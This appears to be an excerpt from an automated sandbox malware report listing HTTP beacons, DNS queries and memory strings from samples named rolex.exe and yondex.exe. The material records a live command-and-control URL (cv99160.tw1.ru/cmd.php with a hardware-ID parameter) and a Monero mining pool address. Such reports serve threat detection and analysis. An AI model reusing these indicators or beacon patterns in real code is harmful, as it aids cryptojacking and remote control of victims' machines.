Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru

Source: global traffic	DNS traffic detected: DNS query: cv99160.tw1.ru
Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com

Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A98000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000335D000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cv99160.tw1.ru
Source: yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A98000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000335D000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cv99160.tw1.rud
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr, Driver.exe.4.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.00000000034E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw
Source: yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003357000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru
Source: yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000692000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr	String found in binary or memory: https://cv99160.tw1.ru/cmd.php1pool.supportxmr.com:3333
Source: yondex.exe, 00000004.00000002.1885179373.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000003171000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000004.00000002.1885179373.0000000002FF4000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002711000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 0000000C.00000002.2001171944.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.000000000351B000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003116000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003061000.00000004.00000800.00020000.00000000.sdmp, yondex.exe, 00000010.00000002.2089679818.0000000003202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cv99160.tw1.ru/cmd.php?hwid=B81A4609
